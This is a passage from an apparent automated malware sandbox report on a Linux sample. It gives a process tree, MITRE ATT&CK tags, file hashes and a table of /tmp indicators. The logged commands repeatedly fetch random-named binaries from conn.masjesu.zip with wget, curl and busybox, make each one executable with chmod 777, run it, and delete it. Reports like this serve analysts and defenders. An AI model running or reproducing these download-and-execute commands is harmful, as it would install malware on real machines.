  chmod 777 EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  2⤵
  - File and Directory Permissions Modification
  PID:968
- /tmp/EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  ./EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  2⤵
  - Executes dropped EXE
  PID:969
- /bin/rm
  rm EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  2⤵
  PID:970
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  2⤵
  - System Network Configuration Discovery
  PID:971
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:972
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  2⤵
  - System Network Configuration Discovery
  PID:974
- /bin/chmod
  chmod 777 o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  2⤵
  - File and Directory Permissions Modification
  PID:975
- /tmp/o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  ./o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  2⤵
  - Executes dropped EXE
  PID:976
- /bin/rm
  rm o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  2⤵
  PID:977
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  2⤵
  - System Network Configuration Discovery
  PID:978
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:979
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  2⤵
  - System Network Configuration Discovery
  PID:981
- /bin/chmod
  chmod 777 lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  2⤵
  - File and Directory Permissions Modification
  PID:982
- /tmp/lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  ./lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  2⤵
  - Executes dropped EXE
  PID:983
- /bin/rm
  rm lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  2⤵
  PID:984
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  2⤵
  - System Network Configuration Discovery
  PID:985
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:986
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  2⤵
  - System Network Configuration Discovery
  PID:988
- /bin/chmod
  chmod 777 aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  2⤵
  - File and Directory Permissions Modification
  PID:989
- /tmp/aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  ./aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  2⤵
  - Executes dropped EXE
  PID:990
- /bin/rm
  rm aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  2⤵
  PID:991
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  2⤵
  - System Network Configuration Discovery
  PID:992
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:993
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  2⤵
  - System Network Configuration Discovery
  PID:995
- /bin/chmod
  chmod 777 I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  2⤵
  - File and Directory Permissions Modification
  PID:996
- /tmp/I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  ./I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  2⤵
  - Executes dropped EXE
  PID:997
- /bin/rm
  rm I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  2⤵
  PID:998
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  2⤵
  PID:999
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1000
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  2⤵
  - System Network Configuration Discovery
  PID:1002
- /bin/chmod
  chmod 777 lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  2⤵
  - File and Directory Permissions Modification
  PID:1003
- /tmp/lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  ./lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  2⤵
  - Executes dropped EXE
  PID:1004
- /bin/rm
  rm lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  2⤵
  PID:1005
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  2⤵
  PID:1006
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1007
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  2⤵
  PID:1009
- /bin/chmod
  chmod 777 P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  2⤵
  - File and Directory Permissions Modification
  PID:1010
- /tmp/P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  ./P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  2⤵
  - Executes dropped EXE
  PID:1011
- /bin/rm
  rm P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  2⤵
  PID:1012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB

Path /tmp/P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB	743	P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
/tmp/I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q	750	I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
/tmp/lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY	779	lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
/tmp/ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim	810	ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
/tmp/8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm	817	8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
/tmp/NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF	834	NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
/tmp/zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL	861	zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
/tmp/ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX	871	ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
/tmp/7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx	878	7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
/tmp/hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi	885	hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
/tmp/lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl	892	lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
/tmp/aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6	899	aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
/tmp/EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F	906	EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
/tmp/o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR	913	o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
/tmp/ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim	920	ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
/tmp/8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm	927	8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
/tmp/7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx	934	7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
/tmp/hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi	941	hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
/tmp/NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF	948	NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
/tmp/zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL	955	zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
/tmp/ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX	962	ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
/tmp/EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F	969	EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
/tmp/o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR	976	o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
/tmp/lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl	983	lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
/tmp/aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6	990	aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
/tmp/I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q	997	I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
/tmp/lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY	1004	lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
/tmp/P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB	1011	P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB